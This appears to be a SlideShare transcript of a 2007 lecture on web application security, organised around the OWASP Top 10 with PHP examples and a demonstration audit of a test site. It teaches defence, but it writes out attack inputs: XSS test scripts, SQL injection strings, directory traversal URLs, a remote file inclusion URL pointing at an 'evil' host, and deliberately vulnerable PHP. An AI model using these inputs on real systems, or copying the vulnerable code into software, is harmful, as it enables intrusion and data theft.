SlideShare a Scribd company logo
Web Application Security


                       Javed Ikbal
                   www.zsquad.com
       Brown University, March 26, 2007
Background




             2
Why Web Application Security?
• Because everyone can touch web apps
• And applications are hard to secure
• This presentation:
  – Shows where web apps are vulnerable
  – Shows how to identify the issues
  – Is not a secure coding primer, only the
    foreword



                                              3
Web Applications
• ... are everywhere
• More apps being web-enabled every day
• CSI/FBI Survey: website incidents in 2006 by
  respondent %




                                                 4
.. “That's where the money is!”

• Quote attributed to Willie Sutton, a bank
  robber, answering why he robbed banks.
  – (Invented by an enterprising reporter. Mr.
    Sutton never actually said this)
• Why web applications are attacked?
  – Money?
  – Fame (street creds)?
  – Access!
                                                 5
Cast of Characters and Motivation
       Organized Crime +                          Insider +
           Hackers                                 Hacker
                                                               Insider / Student
       Professional Hacker              Organized Crime        Curiosity
Risk   Self-satisfaction                Theft
       Prove a point                    Greed
       Attack launch point                              Disgruntled Insider
       Illegal downloads                Hacktortion     Revenge

                     Cyber Terrorist
                     Political Agenda                  Insider / Student
                     Hacktivism                        Profit motivation
                     Mercenaries

                             Probability increases with
                             Larger Internet presence

                                                       Script Kiddies
                                         Amateurs      Recognition
                                         Lets see if   Notoriety
                                         I can do it   Street Credentials

                                                          Probability of Attack

                                                                                   6
Cast of Characters and Motivation
Harvard rejects 119 accused of hacking
  Applicants' behavior 'unethical at best'

                     Man charged with hacking university site
    A 25-year-old computer network expert from San Diego was charged
     this week in Los Angeles with hacking into a University of Southern
         California admissions site last June... In all, the attack last June
  compromised personal records of more than 270,000 past and present
     university applicants...It is believed Eric McCarty, the man charged,
  used a vulnerability in the online application system and gained access
      to personal records of applicants including dates of births and SSN
                                                                   numbers.

Oxford students hack university network "in minutes"
Two Oxford University students are facing suspension and a fine
after they hacked into the University computer system to show just
how easy it was to access supposedly secure personal details.

                                                                           7
3-Tier Web Architecture
                      Allow just the Webserver to talk    You actually have a Firewall
Allow (anyone) to     to the App server, and only the           here? Excellent!
 connect to port       App server to talk to the Web      Allow 2-way communication
    443 and            Server using specific source/      between App Server and DB
NOTHING ELSE                 destination ports             Server using specific ports




        HTTPS                       ?                     ?                    Enterprise




                    Red Zone             Yellow Zone           Green Zone
              Presentation                Application            Database
                    (web server)        (application server)   (database server)




                                                                                     8
No Application Server
                  Allow just the Webserver to talk to
Allow (anyone) to the Database server, and only the
 connect to port  database server to talk to the Web
    443 and          Server using specific source/
NOTHING ELSE               destination ports




                                                         Enterprise
         HTTPS                   ?



                 Red Zone             Green Zone
               Presentation            Database
                 (web server)        (database server)




                                                                      9
The Problem With Firewalls
• Traditional Firewalls
  understand source and
  destination IP addresses
  and ports
• Anything inside the TCP
  packet is invisible to the
  firewall
• App firewalls work—
  hard to configure
• The Castle and Moat
  Security Model:

                                10
HOW?
• Attacks flow inside the HTTP/HTTPS request
  – Like poison in delicious food
• Firewalls never see them
• Comes from allowed sources, going to allowed
  destination and port
  – The firewall is the Moat, alligators are the attacks
  – So requests and responses are passed merrily along: Web server
    passes to app server, which forwards to database server
• Need another layer of defence
  – Do you have a Castle inside the moat?

                                                                 11
The Attack Surfaces




                      12
The OWASP Top-10
• From the Open Web Application Security Project
   – (http://www.owasp.org/)
• U.S. Federal Trade Commission strongly recommends that all
  companies use the OWASP Top Ten and ensure that their partners do
  the same.
• U.S. Defence Information Systems Agency lists this as part of the
  Defence Information Technology Security Certification and
  Accreditation (C&A) Process (DITSCAP).
• The Payment Card Industry (PCI) standard has adopted the OWASP
  Top Ten, and requires (among other things) that all merchants get a
  security code review for all their custom code.
• Many other companies have adopted the Top-Ten

                                                                   13
The OWASP Top-10

A1. Unvalidated Input
A2. Broken Access Control
A3. Broken Authentication and Session Management
A4. Cross Site Scripting
A5. Buffer Overflow
A6. Injection Flaws
A7. Improper Error Handling
A8. Insecure Storage
A9. Application Denial of Service
A10. Insecure Configuration Management

                                                   14
On to the Web Application
• A1. Unvalidated Input
  – DO NOT TRUST user input
  – Can be the root of lots of evil
         – Can cause information leakage
         – Buffer overflow
         – Parameter tampering

• Example:
T-Shirt <input type=hidden
  name="Item" value="T-Shirt"><br>
Price $12.00<input type=hidden
  name="Price" value="12.00"><br>

                                           15
A1. Unvalidated Input
• What is allowed and not allowed? In what format?
• Secure coding:
   Validate and reject bad input
   Input Filtering
   – http://www.phpclasses.org/browse/package/2189.html
   – http://support.microsoft.com/kb/q253119/
   SQL Injection
   – http://www.phpclasses.org/browse/package/1341.html
• OWASP online resources




                                                          16
A1. Unvalidated Input
• Best (and most time consuming) way: Source code review
       • Commercial tools are very expensive, but worth it
         depending on the information value
• Application Testing Tools
   – Free tool: WebScarab
   – Commercial: AppScan, WebInspect, a few others
   – Still no match for an experienced human
• Web App Firewalls work but require careful tuning
   – CodeSeeker: free application firewall from OWASP
   – mod_security: an Apache application security firewall


                                                             17
A2. Broken Access Control
• Who is allowed and not allowed?
   – Does access privilege meet roles?
   – Is the data entry operator using the admin password?
• Insecure ID
• Forced Browsing: Security by obscurity doesn't work
• Path Traversal: Relative path information (e.g.,
  “../../target_dir/target_file”) works
• File Permissions
• Client-side caching
• Secure coding:
   – Define ACLs and role-based access control
   – Validate ID at each access request

                                                            18
A3. Broken Authentication & Session
           Management
• How is the log-in process protected?
  – Do NOT use referer as the primary control
• Once logged in, how is the user tracked?
• Password strength, use, and change process
  – Default accounts and passwords?
• Never store actual passwords, only a hash
• Credentials in transit: SSL being used?
• Secure coding
  – Session-id should never be part of the URL, should be random and
    long, and should be changed often
  – Idle time-out should be used
  – Authentication screen should not use GET method

                                                                 19
A4. Cross-Site Scripting (XSS)
•   Does the site echo back form data?
•   A way to “inject” content to a page
•   Can be an easy way to steal session-id
•   Many other ways to exploit XSS vulnerability
    – See the XSS FAQ
• Testing: Enter <script>alert(1)</script> in web form
  fields. If a window pops up, you have an XSS
  vulnerability
• Secure Coding: The OWASP way
    – Validate the input!



                                                     20
A5. Buffer Overflow
• PHP and C/C++ are vulnerable, Java is not
• Occurs when more information than a memory
  location can handle is stuffed into it
  – Extra information overwrites instruction location, and may
    get executed.
• Difficult to exploit, but devastating impact (Code
  Red, NIMDA worms)
• Keep up with patches and bug reports, and
  periodically scan infrastructure
• Validate Input!

                                                                 21
A6. Injection Flaws
• Malformed input resulting in a command execution
• Suppose login logic is like this:
   IF userid and password matches,
       set Result = 'success'
   IF 'success' then let user in
• Attacker enters '1=1' in the userid field
• SQL will evaluate this as TRUE and return 'success'
• Secure coding:
   – Avoid making system calls
   – For databases, use stored procedures instead of passing user input
   – And did we mention input validation?



                                                                    22
A7. Improper Error Handling
• If the application fails
     – Will it fail closed? Fail open?
     – What error message is displayed?
     – Secure Coding:
        • Have a “catch-all” error trapping mechanism with custom
          messages
        • Do not dump system error messages directly
[FormatException: Input string was not in a correct format.]
Microsoft.VisualBasic.CompilerServices.DoubleType.Parse(String Value, NumberFormatInfo NumberFormat) +193
Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +97 [InvalidCastException: Cast
from string "Select -->" to type 'Integer' is not valid.]
Microsoft.VisualBasic.CompilerServices.IntegerType.FromString(String Value) +212
lpr.language_picker.get_mykey() in
C:jaywebsitesabluser_controlslanguage_picker.ascx.vb:45
lpr.empbioform_langs.add_button_Click(Object sender, EventArgs e) in
C:jaywebsitesqprempbioform_langs.ascx.vb:80
System.Web.UI.WebControls.Button.OnClick(EventArgs e) +108 BPeter.VAM.Button.OnClick(EventArgs pE) +71

                                                                                                         23
A8. Insecure Storage
• Run, don't walk, if you hear: “I wrote this
  encryption algorithm. It's proprietary, and very
  fast. Our data is protected using this algorithm.”
• When it comes to cryptographic algorithms:
    – Proprietary or Secret Algorithm = BAD
•   DES is Dead. 3DES or AES is OK
•   SHA-1 and MD5 will be dead in a few years
•   What is being protected and for how long?
•   Secure coding: Use a tested/proven library, and
    protect the keys, certificates and passwords
                                                  24
A9. Application Denial of Service
•   Not network DoS (e.g. TCP SYN floods)
•   Can the application be crashed?
•   Can it be slowed down?
•   Can it be forced to give up information?
•   Secure coding:
    – Load test, specially what unauthenticated users can do
    – Do not make unnecessary database calls
       • E.g. Don't check userid for existence, and if found, then look for
         the password match
    – Don't make unnecessary disk reads
    – Serve static content as cache out of the web or app layer (or from a
      cache)

                                                                       25
A10. Insecure Configuration
• Wide range of misconfigurations
    – Or outdated systems
•   Unpatched security flaws
•   Unnecessary default, backup, or sample files
•   Improper file permissions
•   Unnecessary services enabled
•   Default accounts with their default passwords
•   Overly informative error messages
•   Misconfigured encryption settings
•   Default or self-signed certificates
•   Improper authentication with external systems
                                                    26
A10. Insecure Configuration
• Do you rename your files as .old or .bak?
• Or put the database config in a .inc file?
  – I used to. Not any more.
                               Use db.inc (or some other
                               inc file for database
                               connection credentials?
                               Where is this .inc file

                               located?
                               If someone can guess the

                               path, the contents will be
                               displayed!
                               Move above webroot, or

                               rename to .php

                                                        27
A10. Insecure Configuration
• Using JavaScript to enforce security?
   <script src="javascript/globalattrib.js"
     type="text/javascript"></script>
• Contents of globalattrib.js:
   // Global constants
   BRole = "B";
   MRole = "M";
   AdminRole = "ADMIN";
   var maxBlockRecords = 20;
• I can write my own HTML and set whatever variable
  value I want



                                                 28
Recommended PHP Configuration
display_errors = Off (turn on with ini_set or .htaccess)
log_errors = On
error_reporting = E_ALL (better error reporting)
session.gc_maxlifetime=600 (ten minutes of inactivity)
safe_mode = On (enable if possible)
safe_mode_gid = On (enable if possible)




                                                           29
Secure Development Process
• Start with Guidelines, Policies and Standards


    Security starts here?                        Security starts here?
    Good!                                        Not good.
      Security     Design               Code    Penetration
    Requirements   Review              Review     Testing


                                                 DEPLOY/
    Requirements   DESIGN    DEVELOP    TEST
                                                IMPLEMENT




                            MAINTAIN




                                                                    30
10 Principles of Secure Coding
1. Security should be seen as an integral part of the application
design process and not as an afterthought.
2. “Security through obscurity,” or relying on others not knowing
what you are doing, is a highly unreliable security practice.
3. Simplicity of application design simplifies the application of
security.
4. All input is to be distrusted, even when coming from trusted
systems.
5. All entities in the system should be granted the least level of
privilege required to accomplish their necessary tasks.



                                                                    31
10 Principles of Secure Coding
6. When an error is encountered, ensure that the system
fails in a secure manner.
7. Force all permissions in the system to be explicitly
granted or else be denied.
8. Any and all output must be sanitized to prevent
information disclosure or relayed attacks.
9. Application segmentation is a useful technique to limit an
attacker’s range of action.
10. Multi-layered security models reduce the impact of
individual security bypasses.



                                                          32
Data Validation
• Validate all data coming from the client/browser. Ensure all
  data is:
   – Well formed, and
   – Of a proper length (both maximum and minimum length
      checks are required)
• Validation must occur before using or storing the data.
• Do not base security on HTTP Referer
• All data validation must occur on the server-side.
   – Optionally, client side validation (JavaScript, etc) may be
      used as another layer but should never be the only
      method


                                                              33
Data Validation
Required:
• Only checking for null or empty values does not satisfy the
  requirements for a well-formed and length check on the
  incoming data fields. Each field needs some level of
  validation to ensure it does not contain malicious data.
• Suspicious characters related to Cross-site Scripting attacks
  should NOT be allowed unless they are required by the
  application. The suspicious characters (sorted by highest
  risk) include: < > “ ‘ ( ) ; % + & 




                                                             34
Application Security
with some PHP examples




                         35
PHP Security Resources
• All software has bugs
• PHP itself is no exception
   – MOPB: http://www.php-security.org/
• http://www.modsecurity.org/
   – Web Application Firewall for PHP
• Bad news: mod_security itself had issues
• Zend has issues too
• Your PHP code may (will) have security issues.
  Security guide:
   – http://phpsec.org/projects/guide/
                                                   36
OWASP A1: Unvalidated Input
• Anything you create does not need further validation.
    $email = 'javed@zsquad.com'; can be trusted
• Everything else needs to be validated
    $email = $_POST['email']; can NOT be trusted
• Validate all input at the server, even if its validated on the client once
• Use a centralized validation engine (makes maintenance easier)
• If possible, use a “approved”-list instead of a “deny”-list. Deny if not
  explicitly approved
• Decode URLs before validation
• Reading a filename or path? Verify!
• Verify XML documents against schema


                                                                          37
OWASP A1: Unvalidated Input
• If you allow any input AND render it as-is, people can add
  JavaScript to your page. Result: anyone viewing that page could
  lose their session cookie to an attacker.
<form action="comment.php" method="POST" />
<p>Name: <input type="text" name="name" /><br />
Comment: <textarea name="comment" rows="10"
   cols="60"></textarea><br />
<input type="submit" value="Add Comment" /></p>
</form>
<?php
echo "<p>$name writes:<br />";
echo "<blockquote>$comment</blockquote></p>";
?>
• Distrust user input and any data coming from the browser, like
  http referer


                                                                   38
PHP register_global
• http://us2.php.net/register_globals
• register_global is a PHP directive that, when 'ON', allows variables with
  global scope to be 'seen' by your script
• Turned off by default starting with PHP 4.2.0

<?php   // http://thispage.com/auth.php
// define $authorized = true only if user is authenticated
if (authenticated_user()) {
   $authorized = true;
}
// what if I type:
// http://thispage.com/auth.php?authorized=1
// I just passed the IF test and set $authorized = true
if ($authorized) {
   include "/highly/sensitive/data.php";
}
?>
                                                                       39
PHP register_global
• Or how about this:
// this file = loadscript.php
<?php
include "$path/script.php";
// verify password
....
?>
• With register_global ON, I can get the page with
   loadscript.php?path=http://zsquad.com/evil and instead of the
     local script.php, your PHP code will load
     http://zsquad.com/evil/script.php

                                                              40
PHP register_global
• Remediation:
   – Turn it off: WILL break lots of scripts
   – Rewrite using $_POST and $_GET superglobals
   – Explicitly initialize variables
   – Develop with error_reporting set to E_ALL
• mod_security: (just blocking $authorized)
   <Location "/vulnerable-application/">
         SecFilterSelective ARG_authorized "!^$"
   </Location>
• Disable globally, then use .htaccess to turn on selectively for apps that
  need it (and then fix those)
       php_value register_globals 1

                                                                        41
Back to .inc files
• Sample database.inc:
<?php // filename: database.inc
$host = 'example.org';
$username = 'myuser';
$password = 'myR3@77yKOMplICATEDpassW04d';
$db = mysql_connect($host, $username, $password);
?>
• Apache will happily serve up .inc file source
• Sysadmins: add to httpd.conf (on Apache)
   <Files ~ ".inc$">
       Order allow,deny
       Deny from all
   </Files>


                                                    42
Databases (MySql or SQL Server)
• If you are passing unfiltered input to the database, someone may
  send in additional commands
• Password change dialog: whatever is in the new password field is
  used to construct the SQL
UPDATE users SET password = $newpass
WHERE username = 'javed';
• I can't change username, but I am entering $newpass
• What will the same SQL look like if I entered
$newpass = 'myNewPass' where username = 'javed' or
  username like 'pat%' --
UPDATE users SET password = 'myNewPass' where
  username = 'javed' or username like 'pat%' --

                                                               43
Database issues contd.
•   For MySql, use mysql_real_escape_string()
•   Similar functions available for most databases
•   If nothing is available, use addslashes()
•   The PHP directive magic_quotes_gpc is on by default, and it
    essentially runs addslashes() on all GET, POST, and COOKIE data.
    – Do not use addslashes() on strings that have already been
      escaped with magic_quotes_gpc as this will result in double
      escaping.
    – Use get_magic_quotes_gpc() to check




                                                                 44
Session Management
• How do we keep track of users once they log in?
• Can Johnny claim that he is James?
• Regenerate session id after login and everytime privilege changes.
  Heck, do it every 15 minutes.
<?php
session_start();
if (!isset($_SESSION['initiated'])){
   session_regenerate_id();
   $_SESSION['initiated'] = true;
}
?>


                                                                       45
Session Management
• By default, session data is stored in /tmp
• So if you and I share a server, can I read your session data?
   – Probably. Session files are owned by the webserver process. My PHP
      scripts will be able to read them.
   – safe_mode directive can block PHP. I can easily write the code in
      Perl to read the files.
• Once I have the session data, I can set the cookie, and assume another
  user's identity
• So store the sessions in a database
   – http://www.phpclasses.org/browse/package/1624.html
• Other methods:
   – http://www.phpclasses.org/browse/package/2794.html


                                                                   46
Application Audit
(or how not to develop
  web applications)




                         47
A “Testing” site
http://www.acme-hackme.com/




                              48
FireFox with Web Developer Extn
• http://zsquad.com/download, or
• http://getfirefox.com &
  http://chrispederick.com/work/webdeveloper/
• Lets start at:
http://www.acme-hackme.com/feedback.aspx
• From the WDE menu:
  – select Forms->Display Form Details



                                            49
FireFox with Web Developer Extn
• Hmm.. a hidden field with what looks like a filename




• What will happen if I change the filename?
   – What if I change the name AND the path?
• Instant defacement (or phishing!)
                                                    50
Directory Traversal
http://www.acme-hackme.com/default.aspx?content=pr/20061109.htm

• default.aspx is passed the path to a filename, and
  it is displayed.
• Can we guess paths and other filenames?
http://www.acme-hackme.com/default.aspx?content=../pr/20061109.htm

• Ouch! (or Got you!)




                                                                     51
Default Accounts
• We can login with 'admin' & 'admin'
  – Ok, that's just an extreme example
• What happens if we don't enter a passwod?
  – A JavaScript popup
  – WDE ->Disable->JavaScript->All JavaScript
     • No popups, no warnings:
     • Doing client side validation only




                                                52
Brief Detour to Error Messages
• From another site:
Error Diagnostic Information
ODBC Error Code = 37000 (Syntax error or access
  violation)

[Microsoft][ODBC SQL Server Driver][SQL
  Server]Line 3: Incorrect syntax near '='.
SQL = "Update tblMember set dteEdited=getdate()
  where intResID="

• Error message giving up table name, a date field, and the index to
  the table.


                                                                 53
SQL Injection Attack
• A forced error may show the SQL
• Or the attacker can just guess
  – SQL query for authentication probably looks like:
    “select * from users where
    user='userID' and pass='password'
• The userID and password is taken from the web form
• So if I enter: aa' or user like 'a%' --
• The SQL becomes: select * from users
  where user='aa' OR user like 'a%' --
  ' and pass='password' which becomes:
• select * from users where user like
  'a%'

                                                        54
SQL Injection Attack




                       55
Parameter Injection




                      56
Parameter Injection
http://www.acme-hackme.com/bank/customize.aspx?lang=
<img src='http://images.slashdot.org/topics/topicscience.gif'>




                                                                 57
Once more:
• Secure Applications do not “happen”
   – They are consciously designed and built
• Conclusion: Any given large web application,
  unless extensively tested:
   – Will have vulnerabilities
• Not too difficult to find
• Educate development group
• Audit staff is the last line of defence



                                                 58
Web App Auditing in 5 Steps:
• 1. Do you have authorization and a GET OUT OF
  JAIL FREE letter?
• 2. Find all web forms in the application.
• Look for hidden fields (use WDE). How is the
  information being used?
• In all the form fields, enter the following:
  <script>alert("Hello")</script> and submit
  – (use WDE to bypass length restrictions). If you see a
    pop-up, you just broke the app and launched a
    successful cross-site scripting attack

                                                            59
Web App Auditing in 5 Steps:
• 3. Use WDE to display the form detail for all
  forms, specially log-in forms
• If you see METHOD=”GET” that is a problem
  (information will be stored in logs)
• 4. Add ../ in the URL. See what the error
  message is
• 5. In login forms, enter a single quote (') and see
  what the error message is. If the output
  contains “SQL” anywhere, there might be
  potential SQL injection issues

                                                        60
Questions




            61
Ad

Recommended

Web Security - Introduction v.1.3
Web Security - Introduction v.1.3
Oles Seheda
 
Web Security 101
Web Security 101
Michael Peters
 
Client-Side Penetration Testing Presentation
Client-Side Penetration Testing Presentation
Chris Gates
 
Web Security: A Primer for Developers
Web Security: A Primer for Developers
Mike North
 
Owasp methodologies of Security testing part1
Owasp methodologies of Security testing part1
robin_bene
 
Cyber ppt
Cyber ppt
karthik menon
 
Penetration testing web application web application (in) security
Penetration testing web application web application (in) security
Nahidul Kibria
 
Evolution Of Web Security
Evolution Of Web Security
Chris Shiflett
 
Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
OWASP Delhi
 
Security testing
Security testing
Khizra Sammad
 
The Web Application Hackers Toolchain
The Web Application Hackers Toolchain
jasonhaddix
 
3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
Phishing with Super Bait
Phishing with Super Bait
Jeremiah Grossman
 
Owasp2013 johannesullrich
Owasp2013 johannesullrich
drewz lin
 
2 . web app s canners
2 . web app s canners
Rashid Khatmey
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
Owasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTING
Er Vivek Rana
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
ThreatReel Podcast
 
Secure code practices
Secure code practices
Hina Rawal
 
Secure PHP Coding
Secure PHP Coding
Narudom Roongsiriwong, CISSP
 
Scaling-up and Automating Web Application Security Tech Talk
Scaling-up and Automating Web Application Security Tech Talk
Netsparker
 
DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
dc612
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
drewz lin
 
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
Casey Ellis
 
Owasp web application security trends
Owasp web application security trends
beched
 
Penetration Testing
Penetration Testing
RomSoft SRL
 
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
OWASP Delhi
 
How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
n|u - The Open Security Community
 
PHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
 

More Related Content

What's hot (20)

Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
OWASP Delhi
 
Security testing
Security testing
Khizra Sammad
 
The Web Application Hackers Toolchain
The Web Application Hackers Toolchain
jasonhaddix
 
3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
Phishing with Super Bait
Phishing with Super Bait
Jeremiah Grossman
 
Owasp2013 johannesullrich
Owasp2013 johannesullrich
drewz lin
 
2 . web app s canners
2 . web app s canners
Rashid Khatmey
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
Owasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTING
Er Vivek Rana
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
ThreatReel Podcast
 
Secure code practices
Secure code practices
Hina Rawal
 
Secure PHP Coding
Secure PHP Coding
Narudom Roongsiriwong, CISSP
 
Scaling-up and Automating Web Application Security Tech Talk
Scaling-up and Automating Web Application Security Tech Talk
Netsparker
 
DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
dc612
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
drewz lin
 
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
Casey Ellis
 
Owasp web application security trends
Owasp web application security trends
beched
 
Penetration Testing
Penetration Testing
RomSoft SRL
 
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
OWASP Delhi
 
Owasp top 10 vulnerabilities
Owasp top 10 vulnerabilities
OWASP Delhi
 
The Web Application Hackers Toolchain
The Web Application Hackers Toolchain
jasonhaddix
 
3. backup file artifacts - mazin ahmed
3. backup file artifacts - mazin ahmed
Rashid Khatmey
 
Owasp2013 johannesullrich
Owasp2013 johannesullrich
drewz lin
 
Web security-–-everything-we-know-is-wrong-eoin-keary
Web security-–-everything-we-know-is-wrong-eoin-keary
drewz lin
 
Owasp top 10 security threats
Owasp top 10 security threats
Vishal Kumar
 
NETWORK PENETRATION TESTING
NETWORK PENETRATION TESTING
Er Vivek Rana
 
OISC 2019 - The OWASP Top 10 & AppSec Primer
OISC 2019 - The OWASP Top 10 & AppSec Primer
ThreatReel Podcast
 
Secure code practices
Secure code practices
Hina Rawal
 
Scaling-up and Automating Web Application Security Tech Talk
Scaling-up and Automating Web Application Security Tech Talk
Netsparker
 
DC612 Day - Hands on Penetration Testing 101
DC612 Day - Hands on Penetration Testing 101
dc612
 
Csrf not-all-defenses-are-created-equal
Csrf not-all-defenses-are-created-equal
drewz lin
 
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
CVE-2021-44228 Log4j (and Log4Shell) Executive Explainer by cje@bugcrowd
Casey Ellis
 
Owasp web application security trends
Owasp web application security trends
beched
 
Penetration Testing
Penetration Testing
RomSoft SRL
 
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
Getting Started With Hacking Android & iOS Apps? Tools, Techniques and resources
OWASP Delhi
 

Viewers also liked (20)

How to Setup A Pen test Lab and How to Play CTF
How to Setup A Pen test Lab and How to Play CTF
n|u - The Open Security Community
 
PHP Secure Programming
PHP Secure Programming
Balavignesh Kasinathan
 
Practical unix utilities for text processing
Practical unix utilities for text processing
Anton Arhipov
 
Learning sed and awk
Learning sed and awk
Yogesh Sawant
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts
 
Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
Unix command-line tools
Unix command-line tools
Eric Wilson
 
Secure SHell
Secure SHell
Çağrı Çakır
 
Secure shell protocol
Secure shell protocol
Baspally Sai Anirudh
 
class12_Networking2
class12_Networking2
T. J. Saotome
 
Unix Command Line Productivity Tips
Unix Command Line Productivity Tips
Keith Bennett
 
Practical Example of grep command in unix
Practical Example of grep command in unix
Javin Paul
 
Sed & awk the dynamic duo
Sed & awk the dynamic duo
Joshua Thijssen
 
SSH
SSH
Zach Dennis
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Michael Coates
 
SSH - Secure Shell
SSH - Secure Shell
Peter R. Egli
 
Secure Shell(ssh)
Secure Shell(ssh)
Pina Parmar
 
Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist
 
RHCE FINAL Questions and Answers
RHCE FINAL Questions and Answers
Radien software
 
Introduction to SSH
Introduction to SSH
Hemant Shah
 
Practical unix utilities for text processing
Practical unix utilities for text processing
Anton Arhipov
 
Learning sed and awk
Learning sed and awk
Yogesh Sawant
 
Defeating The Network Security Infrastructure V1.0
Defeating The Network Security Infrastructure V1.0
Philippe Bogaerts
 
Web Application Security: Introduction to common classes of security flaws an...
Web Application Security: Introduction to common classes of security flaws an...
Thoughtworks
 
Unix command-line tools
Unix command-line tools
Eric Wilson
 
Unix Command Line Productivity Tips
Unix Command Line Productivity Tips
Keith Bennett
 
Practical Example of grep command in unix
Practical Example of grep command in unix
Javin Paul
 
Sed & awk the dynamic duo
Sed & awk the dynamic duo
Joshua Thijssen
 
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Virtual Security Lab Setup - OWASP Broken Web Apps, Webgoat, & ZAP
Michael Coates
 
Secure Shell(ssh)
Secure Shell(ssh)
Pina Parmar
 
Top 100 Linux Interview Questions and Answers 2014
Top 100 Linux Interview Questions and Answers 2014
iimjobs and hirist
 
RHCE FINAL Questions and Answers
RHCE FINAL Questions and Answers
Radien software
 
Introduction to SSH
Introduction to SSH
Hemant Shah
 
Ad

Similar to Web Application Security with PHP (20)

OWASP Top Ten in Practice
OWASP Top Ten in Practice
Security Innovation
 
Web Application Security
Web Application Security
Colin English
 
Web Application Hacking 2004
Web Application Hacking 2004
Mike Spaulding
 
Web Application Vulnerabilities
Web Application Vulnerabilities
Preetish Panda
 
Opa @ owasp 2010
Opa @ owasp 2010
IamYoric
 
nCircle Webinar: Get your Black Belt
nCircle Webinar: Get your Black Belt
nCircle - a Tripwire Company
 
Web Security
Web Security
Gerald Villorente
 
State of the information security nation
State of the information security nation
SensePost
 
Web vulnerabilities
Web vulnerabilities
Krishna Gehlot
 
Is the Web at Risk?
Is the Web at Risk?
Carlos Serrao
 
Do You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez Metula
Alphageeks
 
SecTor '09 - When Web 2.0 Attacks!
SecTor '09 - When Web 2.0 Attacks!
Rafal Los
 
30 it securitythreatsvulnerabilitiesandcountermeasuresv1_2
30 it securitythreatsvulnerabilitiesandcountermeasuresv1_2
Gaurav Srivastav
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
Moataz Kamel
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITY
yashwanthlavu
 
Crash Course In Brain Surgery
Crash Course In Brain Surgery
morisson
 
Owasp top 10 2013
Owasp top 10 2013
Edouard de Lansalut
 
F5 - BigIP ASM introduction
F5 - BigIP ASM introduction
Jimmy Saigon
 
Web Application Security
Web Application Security
Abdul Wahid
 
web application security
web application security
ahmed sami
 
Web Application Security
Web Application Security
Colin English
 
Web Application Hacking 2004
Web Application Hacking 2004
Mike Spaulding
 
Web Application Vulnerabilities
Web Application Vulnerabilities
Preetish Panda
 
Opa @ owasp 2010
Opa @ owasp 2010
IamYoric
 
State of the information security nation
State of the information security nation
SensePost
 
Do You Write Secure Code? by Erez Metula
Do You Write Secure Code? by Erez Metula
Alphageeks
 
SecTor '09 - When Web 2.0 Attacks!
SecTor '09 - When Web 2.0 Attacks!
Rafal Los
 
30 it securitythreatsvulnerabilitiesandcountermeasuresv1_2
30 it securitythreatsvulnerabilitiesandcountermeasuresv1_2
Gaurav Srivastav
 
Secure coding presentation Oct 3 2020
Secure coding presentation Oct 3 2020
Moataz Kamel
 
WEB APPLICATION SECURITY
WEB APPLICATION SECURITY
yashwanthlavu
 
Crash Course In Brain Surgery
Crash Course In Brain Surgery
morisson
 
F5 - BigIP ASM introduction
F5 - BigIP ASM introduction
Jimmy Saigon
 
Web Application Security
Web Application Security
Abdul Wahid
 
web application security
web application security
ahmed sami
 
Ad

Recently uploaded (20)

OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC and Open Hackathons Monthly Highlights June 2025
OpenACC
 
